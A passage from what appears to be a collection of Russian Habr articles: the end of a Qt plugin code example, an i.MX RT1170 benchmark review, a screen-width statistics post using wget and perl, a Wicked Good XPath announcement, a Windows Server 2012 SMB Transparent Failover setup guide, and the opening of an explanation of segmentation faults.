#endif // PLUGIN_H
//-------------------------------------------------
```
**plugin.cpp**
```
//-------------------------------------------------
#include "plugin.h"
//-------------------------------------------------
plugin::plugin()
{
}
//-------------------------------------------------
plugin::~plugin()
{
}
//-------------------------------------------------
QString plugin::getNamePlugin()
{
return "Тестовый плагин1";
}
//-------------------------------------------------
QObject *plugin::getPluginWidget()
{
textTranferWidget *widget = new textTranferWidget();
return qobject_cast(widget);
}
//-------------------------------------------------
```
Виджет создаваемый плагином.
**texttranferwidget.h**
```
//-------------------------------------------------------------------
#ifndef TEXTTRANFERWIDGET_H
#define TEXTTRANFERWIDGET_H
//-------------------------------------------------------------------
#include "interface.h"
//-------------------------------------------------------------------
namespace Ui {
class textTranferWidget;
}
//-------------------------------------------------------------------
class textTranferWidget : public interfaceWidget
{
Q_OBJECT
public:
/// \brief Конструктор
explicit textTranferWidget();
/// \brief Деструктор
~textTranferWidget();
private:
Ui::textTranferWidget *ui;
// interfaceWidget interface
signals:
/// \brief Сигнал отправляет текст из расширения
void signal_writeText(QString str);
public slots:
/// \brief Слот получает текст в плагин
void slot_getText(QString str);
private slots:
void on_pushButton_clicked();
};
//-------------------------------------------------------------------
#endif // TEXTTRANFERWIDGET_H
//-------------------------------------------------------------------
```
**texttranferwidget.cpp**
```
//-------------------------------------------------------------------
#include "texttranferwidget.h"
#include "ui_texttranferwidget.h"
//-------------------------------------------------------------------
textTranferWidget::textTranferWidget() :
ui(new Ui::textTranferWidget)
{
ui->setupUi(this);
}
//-------------------------------------------------------------------
textTranferWidget::~textTranferWidget()
{
delete ui;
}
//-------------------------------------------------------------------
void textTranferWidget::slot_getText(QString str)
{
ui->textEdit->append(str);
}
//-------------------------------------------------------------------
void textTranferWidget::on_pushButton_clicked()
{
emit signal_writeText(ui->lineEdit->text());
}
//-------------------------------------------------------------------
```
Вывод основной программы:
 | https://habr.com/ru/post/448806/ | null | ru | null |
# Тестируем ультра-производительные кроссоверы для встраиваемых систем
До потребительского рынка наконец добрались микроконтроллеры с частотой до 1 ГГц, с открытой документацией, набором разнообразного софта, примерами полезного применения и наличием в стоках. Это семейство [i.MX RT](https://www.nxp.com/products/processors-and-microcontrollers/arm-microcontrollers/i-mx-rt-crossover-mcus/i-mx-rt1170-first-ghz-crossover-mcu-with-arm-cortex-m7-and-cortex-m4-cores:i.MX-RT1170). Их называют кроссоверы, потому что они претендуют на ниши, где до недавнего времени доминировали малинки и одновременно легко могут заместить старшие 8-битники не увеличивая цены и потребления. Мир кроссоверов - малые встраиваемые системы, устройства для интернета вещей (IoT), промышленная автоматика, преобразовательная техника, роботы и т.п.
Не без труда, но удалось получить отладочную плату [MIMXRT1170-EVK](https://www.nxp.com/design/development-boards/i-mx-evaluation-and-development-boards/i-mx-rt1170-evaluation-kit:MIMXRT1170-EVK) с наиболее мощным чипом из семейства. Теперь осталось понять особенности применения такого рода чипов.
Зачем вообще такие быстрые микроконтроллеры?
--------------------------------------------
Чипы серии i.MX RT позволяют реализовать функции ранее доступные только для мощных процессорных систем и SoC. Например локальное голосовое управление, распознавание лиц, взаимодействие с сервисами типа Alexa Voice Service, предиктивная диагностика оборудования, насыщенные графические интерфейсы.
Подобного рода чипы могут в реальном времени напрямую без вспомогательных микроконтроллеров управлять полифазными много-киловатными преобразователями энергии, зарядными станциями, одновременно вести диагностику оборудования по вибрационным и акустическим каналам, отображать сложный графический интерфейс и общаться с облаками по защищённому каналу связи.
А можно на них сделать квадрокоптер с прямым векторным управлением 4-мя моторами и трансляцией зашифрованного видео в реальном времени или умную колонку с массивом микрофонов для пространственной селекцией источников звука.
Необычно сильны меры предпринятые в i.MХ RT от взлома хакерами. Cекретный ключ хранится в RAM и стирается если от чипа отрывают резервное питание или манипулируют питанием, если чип пытаются заморозить или раскалить, если манипулируют частотой, если пытаются отпаять, если пытаются разгадать ключ по импульсам тока потребления или по задержкам. Это даёт возможность применять чипы в современных интерактивных платёжных терминалах.
Словом чипы универсальны и экономичны. А главное доступны для простых разработчиков, без NDA и прочих сложностей.
Отладочная плата.
-----------------
Отладочная плата [MIMXRT1170-EVK](https://www.nxp.com/design/development-boards/i-mx-evaluation-and-development-boards/i-mx-rt1170-evaluation-kit:MIMXRT1170-EVK) содержит чип [PIMXRT1176DVMAA](https://www.nxp.com/products/processors-and-microcontrollers/arm-microcontrollers/i-mx-rt-crossover-mcus/i-mx-rt1170-first-ghz-crossover-mcu-with-arm-cortex-m7-and-cortex-m4-cores:i.MX-RT1170). Буква P в начале названия говорит, что это инженерный экземпляр для прототипирования, т.е. может иметь аппаратные баги. Но это тем не менее один из самых скоростных чипов в семействе [i.MX](https://www.nxp.com/products/processors-and-microcontrollers/arm-microcontrollers/i-mx-rt-crossover-mcus:IMX-RT-SERIES) и он двух ядерный, поэтому тестируем его.
Плата на первый взгляд выглядит сложно. Но в её основе чип на ядре семейства ARM-Cortex-M, вернее двух ядрах. Т.е. имеем дело с младшим и довольно простым семейством от ARM. Аналогичную архитектуру имеют всем известные STM32. Сложный вид придаёт множество периферии на плате, но не вся она может работать одновременно. Часто чтобы задействовать тут или иную периферию на плате необходимо перепаивать резисторы согласно мануалу на плату.
В коробке с платой поставляется адаптер питания и модуль камеры. Можно на плату пристроить [дисплей](https://www.nxp.com/part/RK055HDMIPI4MA0#/), WiFi модули, LTE модули, но их надо покупать отдельно. Присутствует посадочное место для пайки WiFi модуля LBEE5KL1DX-883 на чипе CYW4343W, если кому-то захочется попробовать драйвера WICED.
На плате размещён отладочный адаптер реализованный на чипе LPC4322. Адаптер работает в стандарте OpenSDA через USB на основе опенсорсного проекта [DAPLink](https://daplink.io/). Кроме отладочного канала имеет COM порт и виртуальный диск для загрузки прошивок. Таким образом для начала отладки ничего дополнительно не нужно приобретать.
В дополнение на плате присутствует разъем JTAG/SWD, через который можно подключить к микроконтроллеру внешние более производительные JTAG/SWD адаптеры.
Основные узлы платыНа плату можно подавать питание с одного из трех разъёмов. Найдите на диаграмме ниже из каких.
Основные разъёмы платы
Переходим к тестам
------------------
Работаем из среды IAR Embedded Workbench for ARM v9.30.1.
Можно и из MCUXpresso IDE, но IAR традиционно предоставляет больше возможностей для отладки. Хотя надо признать, что если пользоваться встроенным в плату OpenSDA адаптером, то IAR сильных преимуществ не покажет.
Предварительно конфигурируем на сайте NXP и скачиваем пакет софта SDK\_2\_12\_1\_MIMXRT1170-EVK.zip для нашей платы. Там будут и все пакеты и все примеры и тесты.
### Тест производительности Ethernet
Начинаем с теста производительности Ethernet интерфейса. Тест находится в ветке boards\evkmimxrt1170\azure\_rtos\_examples\netx\_duo\_iperf\iar
Из названия понятно что будет применяться Azure RTOS совместно со стеком TCP протоколов NETX Duo.
На компьютере запускаем утилиту [iperf3](https://iperf.fr/iperf-download.php#windows) с командной строкой следующего вида:
```
iperf3 -s -p 5201
```
А на плате компилируем и запускаем тест из рабочего пространства netx\_duo\_iperf.eww.
Подключаем кабелем плату в локальную 1G сеть и в терминале через последовательный порт организуемый OpenSDA адаптером смотрим на диагностику подключения. Должны появиться следующие надписи:
После этого запускаем броузер и в нем вводим строку с адресом полученным нашей платой от локальной сети: <http://192.168.8.105/>
В результате видим в браузере окно приглашающее к тесту:
Окно с выдачей WEB сервера работающего на отладочной плате По окончании теста видим фантастический результат:
Он говорит от том, что плата через интерфейс Ethernet 1G смогла выдать данные практически со скоростью 957 Mbps по протоколу UDP. Это очень круто для обычных микроконтроллеров.
### Замеченные недостатки и баги.
Сразу было замечено несколько недостатков. Тест не работает с TCP и не работает из SDRAM. Загрузка и исполнение работают только из Quad SPI Flash. Но даже от туда при отладке по шагам происходит зависание на выполнении инициализации в следующей строке:
```
/* Init System Pll2 pfd3. */
CLOCK_InitPfd(kCLOCK_PllSys2, kCLOCK_Pfd3, 32);
```
После сброса питания тест начинает выполняться нормально.
i.MX RT явно не обещает лёгкого пути.
Тест производительности USB + SD диск
-------------------------------------
Тест расположен в ветке boards\evkmimxrt1170\usb\_examples\usb\_device\_msc\_disk\freertos\cm7\iar
Компилируем с опцией максимальной оптимизации по скорости и запускаем из Quad SPI Flash. В качестве SD карты используем Kingston CANVAS Select Plus 64GB. Используется FreeRTOS в качестве операционной системы на плате.
Скорость скачивания закачивания гигабайтных файлов оказалась в пределах 15-16 мегабайт в секунду.
При выполнении программы из SDRAM скорость доходила до 19.5 мегабайт в секунду. Это приблизительно в 5 раз медленней чем чтение аналогичной карты с помощью PC. Списываем это на 3-вольтовый SDIO и недостаточную оптимальность теста. Целостность файлов после пересылок была проверена.
Тест производительности криптографических функций
-------------------------------------------------
Тест расположен в ветке boards\evkmimxrt1170\mbedtls\_examples\mbedtls\_benchmark\cm7\iar
Компилируем с опцией максимальной оптимизации по скорости и запускаем из ITCM ARM т.е. из самой быстрой области выполнения программ. Используется аппаратный криптографический модуль чипа и тестовый набор функций из опенсорсного пакета Mbed TLS.
И были получены такие результаты:
```
mbedTLS version 2.28.0
fsys=996000000
Using following implementations:
SHA: CAAM HW accelerated
AES: CAAM HW accelerated
AES GCM: CAAM HW accelerated
DES: CAAM HW accelerated
Asymmetric cryptography: CAAM HW accelerated
MD5 : 18018.54 KB/s, 52.63 cycles/byte
SHA-1 : 88982.97 KB/s, 9.54 cycles/byte
SHA-256 : 98965.59 KB/s, 8.43 cycles/byte
SHA-512 : 8316.75 KB/s, 115.59 cycles/byte
3DES : 63092.71 KB/s, 14.07 cycles/byte
DES : 136480.34 KB/s, 5.78 cycles/byte
AES-CBC-128 : 68448.75 KB/s, 12.85 cycles/byte
AES-CBC-192 : 59808.27 KB/s, 14.90 cycles/byte
AES-CBC-256 : 53108.29 KB/s, 16.95 cycles/byte
AES-GCM-128 : 65207.48 KB/s, 13.51 cycles/byte
AES-GCM-192 : 57023.80 KB/s, 15.66 cycles/byte
AES-GCM-256 : 50648.39 KB/s, 17.80 cycles/byte
AES-CCM-128 : 36921.58 KB/s, 24.91 cycles/byte
AES-CCM-192 : 31850.54 KB/s, 29.10 cycles/byte
AES-CCM-256 : 27932.44 KB/s, 33.39 cycles/byte
Poly1305 : 19653.65 KB/s, 48.16 cycles/byte
CTR_DRBG (NOPR) : 8856.47 KB/s, 108.45 cycles/byte
CTR_DRBG (PR) : 6607.61 KB/s, 145.82 cycles/byte
HMAC_DRBG SHA-1 (NOPR) : 2957.83 KB/s, 327.56 cycles/byte
HMAC_DRBG SHA-1 (PR) : 2748.29 KB/s, 352.68 cycles/byte
HMAC_DRBG SHA-256 (NOPR) : 4241.30 KB/s, 227.94 cycles/byte
HMAC_DRBG SHA-256 (PR) : 4264.17 KB/s, 226.76 cycles/byte
RSA-1024 : 7861.00 public/s
RSA-1024 : 430.33 private/s
DHE-2048 : 26.67 handshake/s
DH-2048 : 50.00 handshake/s
ECDSA-secp521r1 : 146.67 sign/s
ECDSA-secp384r1 : 285.00 sign/s
ECDSA-secp256r1 : 482.33 sign/s
ECDSA-secp224r1 : 534.00 sign/s
ECDSA-secp192r1 : 667.00 sign/s
ECDSA-secp521r1 : 77.67 verify/s
ECDSA-secp384r1 : 157.00 verify/s
ECDSA-secp256r1 : 282.67 verify/s
ECDSA-secp224r1 : 317.33 verify/s
ECDSA-secp192r1 : 413.00 verify/s
ECDHE-secp521r1 : 80.00 handshake/s
ECDHE-secp384r1 : 162.67 handshake/s
ECDHE-secp256r1 : 299.00 handshake/s
ECDHE-secp224r1 : 338.67 handshake/s
ECDHE-secp192r1 : 452.33 handshake/s
ECDH-secp521r1 : 160.00 handshake/s
ECDH-secp384r1 : 325.00 handshake/s
ECDH-secp256r1 : 595.67 handshake/s
ECDH-secp224r1 : 679.67 handshake/s
ECDH-secp192r1 : 903.33 handshake/s
ECDHE-secp521r1 : 40.00 full handshake/s
ECDHE-secp384r1 : 81.67 full handshake/s
ECDHE-secp256r1 : 150.33 full handshake/s
ECDHE-secp224r1 : 170.33 full handshake/s
ECDHE-secp192r1 : 225.00 full handshake/s
```
Результаты неплохие, но не фантастические. Чипы семейства Synergy при частоте в 4 раза меньшей уступают по скорости шифрования AES-GCM-256 с аппаратным ускорителем всего в 2.5 раза. Однако чисто программное шифрование AES-GCM-256 чипом Cortex-M4 на частоте 120 МГц ведётся на скорости около 94 KB/s т.е. в 500! раз медленнее.
В любом случае скорость у i.MX RT достаточна чтобы в реальном времени шифровать видеопоток MJPEG в 5 мегапикселей и сохранять на диск.
Нагрев микроконтроллера в течении выполнения этого теста:
Радиатор этом чипу точно не пригодится.
Всего в комплекте программного обеспечения из SDK\_2\_12\_1\_MIMXRT1170-EVK находится 674 демонстрационных проекта. И тестирование только начинается.
Впереди тестирование Wi-Fi, Bluetooth, ускорителей GUI, FlexPWM для управления двигателями и прочих модулей. | https://habr.com/ru/post/700864/ | null | ru | null |
# Считаем ширину экранов у посетителей сайта
> #### Вступление
>
>
>
> Недавно обсуждал с девушкой-дизайнером, под какие же размеры экрана стóит рисовать сайты. Аргументы наши были, мягко говоря, необоснованными:
>
> — У меня сайт на домашнем компьютере слишком широкий, надо сделать под широкий экран.
>
> — Надо делать под маленькие экраны. Куча народа лезет в Интернет с мобильных устройств. Больших мониторов нет почти ни у кого.
>
> — Да куча народу с такими мониторами! У всех моих знакомых мониторы большие.
>
> — Да у тебя знакомые — дизайнеры да фотографы. А у народа таких мониторов нет!
>
>
>
> Понятно, что нужны были более веские аргументы — пора обратиться к статистике.
#### Подсчёт
Существует некоторое количество сайтов, предоставляющих доступ к собранным данным о своих посетителях. Один из таких сайтов — бывший SpyLog, а ныне — Openstat, выдающий и [отчёт о разрешающей способности экранов](https://www.openstat.ru/counter:meta/trends/report/display). Данные там, на первый взгляд, не очень полезны: знание того, что самое популярное разрешение — 1366×768 — встречается у 19 процентов посетителей, мне мало поможет. Но мы можем получить эти данные в виде отдельного файла, который можем обработать. Доступны 4 формата — PDF, XLS и два текстовых: CSV и Tab separated, названный здесь tsv, который мы и возьмём.
Бóльшая часть файла — строки вида
> `1366x768 4097016,19 18,43 % 263923118 1147661296`
Из этого нам интересна ширина (первое число в левом поле) и количество просмотров (правое поле). Предпоследнее поле — число визитов — если его выразить в относительных величинах, от числа просмотров отличается незначительно. Для каждой возможной ширины посчитаем сумму вхождений этой ширины, отбросив данные о высоте (для веб-дизайнера она не так важна). Процесс подсчёта можно совместить с получением файла с обрабатываемыми данными:
```
wget 'https://www.openstat.ru/rest/v0.3/ct:openstat:trends/display/columns/20120820-20120920?column=0%0Dvisitors_sum_average&column=0%0Dvisitors_sum_average_verticalpercent&column=0%0Dsessions_sum&column=0%0Dpageviews_sum&primary_column=0&view_id=1810&format=tsv' -O - \
| perl -nlaF'\t' -MList::Util=max \
-e '$F[0]=~s/x.*//||next;$sum{$F[0]}+=$F[4];END{for$k(0..max(keys%sum)){print"$k\t$sum{$k}"}}'
```
Получим такой список пар ширины и суммарного количества посетителей:
>
> ```
> 0
> 1 445931
> 2
> 3
> 4
> 5
> 6
> 7
> 8
> 9
> 10 29183
> 11
> ...
> ```
>
Понятно, что учитывать все возможные значения ширины смысла нет — надо оценивать диапазоны значений. Посчитаем сумму количества посетителей, имеющих определённую ширину экрана, с количеством посетителей, обладающих экранами меньшей ширины. Можно сделать это в каком-либо офисном пакете (в моём случае — LibreOffice), в нём же можно сразу построить график. Получившаяся таблица с графиком — [ge.tt/9iHIH8O](http://ge.tt/9iHIH8O) (110 килобайт).
Слегка приукрасим график — добавим метки популярных значений:
#### Некоторые выводы
* По состоянию на сентябрь 2012 года наиболее популярная (29 %) ширина — 1280 точек, кроме того, чуть более половины посетителей имеют мониторы с шириной, не превышающей 1280 точек. С другой стороны, количество людей с большими мониторами, шире 1280 точек, тоже весьма велико и приближается к половине.
* Другие широко распространённые значения — 1366 (19 %), 1024 (13 %), 1920 (10 %).
* Более 80 % посетителей сайтов обладают экранами шириной до 1600 точек. Экраны шире 1920 точек ещё весьма редки — их доля составляет примерно четверть процента.
* Ширина «почти 800 точек», которая была популярна у веб-дизайнеров лет 10–15 назад, сейчас встречается примерно в пяти процентах случаев, да и то, бóльшая их часть — это мобильные устройства.
* Исходя из того, что доля браузера Opera Mini некоторыми счётчиками (например [liveinternet.ru](http://www.liveinternet.ru/stat/ru/browsers.html?period=month)) оценивается более чем в 12 процентов (openstat оценивает её гораздо скромнее — 3,75 %), можно предположить, что доля мобильных устройств и, как следствие, маленьких экранов, всё-таки выше, чем на этом графике. Похоже, устройства с Оперой Мини просто не попадают в статистику — в ней несколько лет назад не было JavaScript. | https://habr.com/ru/post/151930/ | null | ru | null |
# Wicked Good XPath: быстрый Xpath на Javascript-е
Мы рады представить новую библиотеку, разработанную силами Google – [Wicked Good XPath](http://code.google.com/p/wicked-good-xpath/), реализацию спецификации [XPath для DOM Level 3](http://www.w3.org/TR/DOM-Level-3-XPath/). Мы уверены, что на сегодня эта библиотека является самой быстрой из всех существующих.
Чтобы начать ее использовать, достаточно скачать файл [`wgxpath.install.js`](http://code.google.com/p/wicked-good-xpath/downloads/detail?name=wgxpath.install.js) и включить его на вашей странице
Затем вызовите метод w`gxpath.install()` в коде страницы, который обеспечит доступ к `document.evaluate`, функции навигации Xpath, в текущем окне (`window`). Если вам нужно добавить функционал библиотеки в другом окне, достаточно передать указатель на это окно в метод `install()`.
Несмотря на растущую популярность CSS селекторов, [XPath](http://www.w3.org/TR/xpath/) все еще остается полезным инструментом для выборки элементов в HTML документе. Особенно часто он используется в приложениях тестирования фронт-энда, таких как [Selenium](http://seleniumhq.org/) и [Web Puppeteer](http://code.google.com/p/puppeteer/). Ну, и иногда бывают случаи, когда Xpath является единственным возможным решением для доступа к определенным элементам на странице.
Если вы никогда не встречались с Xpath прежде, взгляние на пример: на странице результатов поиска Google, выражение `//li[@class=”g”][3]` укажет на третий результат в списке. Это видно со скрина плагина [Xpath Viewer](https://chrome.google.com/webstore/detail/oemacabgcknpcikelclomjajcdpbilpf) к Хрому.
Основной сложностью в использовании XPath является отсуствие нативной поддержки в некоторых браузерах. К примеру, IE не поддерживает XPath на HTML документах. В результате этого многие разработчики вынуждены использовать решения на Javascript. Еще в 2005-ом инженеры Google-a выпустили библиотеку [AJAXSLT](http://goog-ajaxslt.sourceforge.net/), которая реализовывала правильную, но не очень быструю работу Xpath. Выполнение запросов этой библиотекой в IE было довольно долгим.
Позже, в 2007-ом, группа Cybozu Labs представила другую библиотеку, [Javascript-XPath](http://coderepos.org/share/wiki/JavaScript-XPath), которая была быстрее AJAXSLT в 10 раз. Многие приложения тестирования перешли на нее, и все было замечательно, но недолго. Библиотека довольно быстро лишилась поддержки, некому стало фиксить баги. Ну и ввиду того, что она была написана не на [Google Closure](https://developers.google.com/closure/), нам, гугловцам, было непросто внедрять ее в свои приложения. Библиотеку нужно было переписывать.
Но мы не просто портировали ее на Google Closure. Мы внесли некоторые исправления, которые существенно отразились на производительности библиотеки – наша версия работает на 30% быстрее оригинальной. В добавок, компилятор Closure смог ужать ее до 25 КБ, что на 40% меньше, чем Javascript-XPath. Ну, и наконец, мы уверены, что новая структуризация, и документация кода обеспечит скорость и легкость в дальнейшей поддержке библиотеки.
Отдельно хотим выразить благодарность двум нашим интернам Google-a, Michael Zhou и Evan Thomas, проделавшим большую часть работы в этом проекте.
*Инженеры Google, Greg Dennis и Joon Lee.* | https://habr.com/ru/post/150890/ | null | ru | null |
# SMB Transparent Failover в Windows Server 2012
В одном из предыдущих постов я описывал технологию [SMB Multichannel](http://habrahabr.ru/company/microsoft/blog/151451/), являющейся частью протокола SMB 3.0. Продолжая обсуждение возможностей SMB 3.0, сегодня сфокусируемся на SMB Transparent Failover (прозрачной отработке отказа). Суть этой технологии, как следует из названия, – обеспечить прозрачное переключение SMB-приложений на другой узел отказоустойчивого кластера (failover cluster) в случае аппаратного или программного сбоя текущего узла. Поскольку SMB 3.0 реализован в [Windows Server 2012](http://technet.microsoft.com/ru-ru/evalcenter/hh670538.aspx?wt.mc_id=TEC_108_1_5) и [Windows 8](http://technet.microsoft.com/ru-ru/evalcenter/hh699156.aspx?ocid=wc-tn-wctc), все нижесказанное относится только к этим ОС.
Использование файлового хранилища вместо блочного
=================================================
Изменения в SMB и файловых службах Windows Server 2012 привели к тому, что теперь вы можете располагать в общих папках на файловом сервере (в файловых шарах) данные серверных приложений, например, базы данных SQL Server или виртуальные жесткие диски Hyper-V. Подобные серверные приложения предполагаю, что их данные хранятся на надежных высокодоступных хранилищах. Соответственно, построив отказоустойчивый файловый кластер, или иными словами, развернув на кластере, созданном с помощью службы failover clustering, роль File Server, мы получаем некий универсальный высокодоступный ресурс, который можем задействовать для различных серверных приложений, использующих файловый доступ.
Возможность использовать файловое хранилище вместо блочного дает ряд преимуществ:
* **Более простое управление**. Вместо создания LUN-ов и зон, необходимо управлять обычными общими папками на файловом сервере.
* **Гибкость**. В настройках приложений для доступа к данным указывается UNC-путь. Можно динамически перемещать приложения в рамках ЦОД без изменений в конфигурации доступа к сети и хранилищу.
* **Использование существующих инвестиций в сетевую инфраструктуру**. Не требуется развертывание новых сетей СХД, используются существующие конфигурации.
* **Экономия**. Файловый доступ позволяет применять более дешевые конфигурации, когда это оправдано с точки зрения соотношения цена/производительность. Например, с помощью технологии Storage Spaces можно построить кластерное хранилище на основе SAS-дисков.
Что дает применение SMB Transparent Failover?
=============================================
На файловом кластере Windows Server 2012 можно создать общие папки с признаком непрерывной доступности (continuous availability). Замечу, по умолчанию шары на кластере создаются как раз такого типа. И при подключении именно к таким шарам и применяется SMB Transparent Failover, причем применяться технология может в двух сценариях:
* **плановое переключение на другой узел кластера**, например, для выполнения каких-либо работ по обслуживанию аппаратного или программного обеспечения;
* **отработка незапланированного отказа** в случае сбоя узла.
И в том, и в другом сценарии переключение на другой узел кластера происходит без потери приложением доступа к файлам, хранящимся в общей папке на кластере.
Более того, если в сочетании с SMB Transparent Failover использовать еще одну технологию SMB 3.0, а именно SMB Scale-Out (это возможно, но необязательно), файловый кластер будет работать в режиме active/active, и помимо отказоустойчивости обеспечит балансировку нагрузки между всеми узлами кластера.
Каковы требования для работы SMB Transparent Failover?
======================================================
Для использования SMB Transparent Failover должны выполняться следующие требования:
* Отказоустойчивый файловый кластер под управлением Windows Server 2012 с минимум двумя узлами.
* Одна или несколько общих папок, созданных на кластере с признаком continuous availability.
* Клиент под управлением Windows Server 2012 или Windows 8.
Далее мы рассмотрим, как технически реализована прозрачная отработка отказа, и как эта технология настраивается.
Как работает SMB Transparent Failover?
======================================
Основная проблема в отработке отказа в файловом кластере, скажем в Windows Server 2008 R2, заключалась в том, что при переключении на другой узел приложение теряло доступ к используемым файлам и папкам. Если речь идет об открытом с кластерной шары документе или презентации, то проблема быстро решалась открытием файла заново. Но, очевидно, для серверных приложений типа SQL Server такой вариант решения проблемы едва ли приемлем. Либо приложение должно предусматривать в своем коде обработку подобных ситуаций, либо требуется вмешательство администратора для переподключения приложения. Факт же в том, что отработка отказа не оставалась для приложения незаметным.
В SMB 3.0 в реализации SMB-клиента и SMB-сервера появились новые компоненты: Witness Client, Witness Service и Resume Key Filter.
Когда SMB-клиент подключается к общей папке, он определяет, установлен ли для этой папки признак непрерывной доступности. Если да, то папка располагается на кластере и для нее можно применять прозрачную отработку отказа. SMB-клиент открывает файл от имени приложения, предоставляет уникальный ключ (resume key) и запрашивает информацию о дескрипторе файла (persistent file handle) с SMB-сервера. Используя Resume Key Filter, SMB-сервер получает и предоставляет клиенту необходимую информацию. С этого момента resume key фактически хранит информацию о состоянии файла, а операции к файлу применяются в режиме write-through, чтобы избежать влияния кэша на изменения в файле.
В случае планового и незапланированного переключения на другой узел кластера SMB-клиент предоставляет SMB-серверу нового узла свой resume key. Благодаря полученной информации, SMB-сервер через Resume Key Filter обеспечивает согласованное состояние файла на момент, предшествующий сбою. Приложение на SMB-клиенте никак не участвует в этом процессе, не получает никаких сообщений об ошибках и испытывает лишь небольшую задержку в операциях ввода-вывода. Таким образом обеспечивается прозрачность отработки отказа.
Witness-клиент и Witness-сервис помогают ускорить переключение на другой узел кластер в случае незапланированного сбоя. При первоначальном подключении к кластерному узлу Witness-клиент, запущенный на том же компьютере что и SMB-клиент, получает список узлов кластера с Witness-сервиса, запущенного на узле, к которому произошло подключение. Затем Witness-клиент выбирает другой альтернативный узел кластера и посылает запрос Witness-сервису на этом узле. Как только происходит сбой, служба failover clustering оповещает об этом Witness-сервис альтернативного узла, который, в свою очередь, передает сообщение Witness-клиенту, а тот SMB-клиенту. Сразу после получения оповещения SMB-клиент начинает переподключение к альтернативному узлу кластера. Подобный подход избавляет от необходимости дожидаться TCP-таймаута и существенно ускоряет восстановление подключений к файлам после сбоя.
Настройка SMB Transparent Failover
==================================
Прежде всего необходимо создать Failover Cluster и на каждом его узле развернуть роль File Server. На этих шагах подробно останавливаться не буду, они не претерпели каких-либо принципиальных изменений в Windows Server 2012.
Предполагая, что кластер создан, необходимо теперь уже на нем поднять роль отказоустойчивого файлового сервера. Запускаем мастер…
и выбираем соответствующую роль.
Вот отсюда начинаются изменения по сравнению с предыдущими версиями Windows Server. Как можно заметить, появилась возможность помимо, скажем так стандартного файлового сервера, развернуть Scale-Out File Server. В последнем случае мы получим упомянутый мною файловый кластер в режиме Active/Active. Более детально речь о нем пойдет в одном из будущих постов. В данном же варианте оставим опцию по умолчанию – File Server for general use.
Задаем имя точки доступа для последующего обращения к файловому серверу и указываем IP-адрес.
Выбираем диск для нашего сервера,
проверяем еще раз настройки,
и убеждаемся, что роль файлового кластера успешно создана.
Следующий шаг – создать на кластере одну или несколько общих папок с признаком continuous availability. Для этого нам нужен пункт Add File Share.
И вот в этом окне – средний пункт SMB Share – Applications.
Проверяем, что выбран нужный сервер и том,
задаем имя шары и путь к ней (локальный или сетевой),
и на очередном шаге лишний раз убеждаемся, что необходимый признак непрерывной доступности для шары установлен.
При необходимости настраиваем разрешения.
Если нас все устраивает, то смело жмем кнопку Create
С точки зрения настроек, это все. Если подключиться к созданной общей папке VMs и запустить команду:
```
Get-SmbOpenFile | Select *
```
то на узле кластера, который обрабатывает данное подключение, в качестве отклика вы увидите что-то вроде
Обратите внимание на то, что параметр ContinuouslyAvailable имеет значение True.
Для того, чтобы осуществить плановое переключение на другой узел кластера, необходимо воспользоваться следующей командой:
```
Move-ClusterGroup –Name ft-fs-01 –Node ws2012-srv04
```
где параметр *Name* указывает имя кластерного ресурса (то есть кластерного файлового сервера), *Node* – имя узла кластера, на который происходит переключение кластерного ресурса.
Каким способом лучше проверить отработку незапланированного сбоя – решать вам. :)
Итак, технология SMB Transparent Failover обеспечивает прозрачное для приложения переключение на другой узел отказоустойчивого кластера в случае запланированных работ или незапланированного сбоя. В сочетании с SMB Multichannel мы получаем отказоустойчивость на уровне хранилища, канала связи, сетевого адаптера. Применение SMB Scale-Out позволит балансировать нагрузку между узлами кластера и более эффективно использовать мощности серверов, входящих в кластер. Правильно комбинируя возможности SMB 3.0, можно, таким образом, достигнуть требуемого уровня надежности и производительности серверной инфраструктуры. | https://habr.com/ru/post/156511/ | null | ru | null |
# Segmentation Fault (распределение памяти компьютера)
Когда я делаю ошибку в коде, то обычно это приводит к появлению сообщения “segmentation fault”, зачастую сокращённого до “segfault”. И тут же мои коллеги и руководство приходят ко мне: «Ха! У нас тут для тебя есть segfault для исправления!» — «Ну да, виноват», — обычно отвечаю я. Но многие ли из вас знают, что на самом деле означает ошибка “segmentation fault”?
Чтобы ответить на этот вопрос, нам нужно вернуться в далёкие 1960-е. Я хочу объяснить, как работает компьютер, а точнее — как в современных компьютерах осуществляется доступ к памяти. Это поможет понять, откуда же берётся это странное сообщение об ошибке.
Вся представленная ниже информация — основы компьютерной архитектуры. И без нужды я не буду сильно углубляться в эту область. Также я буду применять всем известную терминологию, так что мой пост будет понятен всем, кто не совсем на «вы» с вычислительной техникой. Если же вы захотите изучить вопрос работы с памятью подробнее, то можете обратиться к многочисленной доступной литературе. А заодно не забудьте покопаться в исходном коде ядра какой-нибудь ОС, например, Linux. Я не буду излагать здесь историю вычислительной техники, некоторые вещи не будут освещаться, а некоторые сильно упрощены.
### Немного истории
Когда-то компьютеры были очень большими, весили тонны, при этом обладали одним процессором и памятью примерно на 16 Кб. Стоил такой монстр порядка $150 000 и мог выполнять лишь одну задачу за раз: в каждый момент времени выполнялся только один какой-то процесс. Архитектуру памяти в те времена можно схематически представить так:
То есть на ОС приходилась, скажем, четверть всей доступной памяти, а остальной объём отдавался под пользовательские задачи. В то время роль ОС заключалась в простом управлении оборудованием с помощью прерываний ЦПУ. Так что операционке нужна была память для себя, для копирования данных с устройств и для работы с ними ([режим PIO](https://ru.wikipedia.org/wiki/PIO)). Для вывода данных на экран нужно было использовать часть основной памяти, ведь видеоподсистема либо не имела своей оперативки, либо обладала считанными килобайтами. А уже сама программа выполнялась в области памяти, идущей сразу после ОС, и решала свои задачи.
### Совместный доступ к ресурсам
Главная проблема заключалась в том, что устройство, стоящее $150 000, было однозадачным и тратило целые дни на обработку нескольких килобайт данных.
Из-за непомерной стоимости мало кто мог позволить себе приобрести сразу несколько компьютеров, чтобы обрабатывать одновременно несколько задач. Поэтому люди начали искать способы совместного доступа к вычислительным ресурсам одного компьютера. Так наступила эра многозадачности. Обратите внимание, что в те времена ещё никто не помышлял о многопроцессорных компьютерах. Так как же можно заставить компьютер с одним ЦПУ выполнять несколько разных задач?
Решением стало использование планировщика задач (scheduling): пока один процесс прерывался, ожидая завершения операций ввода/вывода, ЦПУ мог выполнять другой процесс. Я не буду здесь больше касаться планировщика задач, это слишком обширная тема, не имеющая отношения к памяти.
Если компьютер способен поочерёдно выполнять несколько задач, то распределение памяти будет выглядеть примерно так:
Задачи А и В хранятся в памяти, поскольку копировать их на диск и обратно слишком затратно. И по мере того, как процессор выполняет ту или иную задачу, он обращается к памяти за соответствующими данными. Но тут возникает проблема.
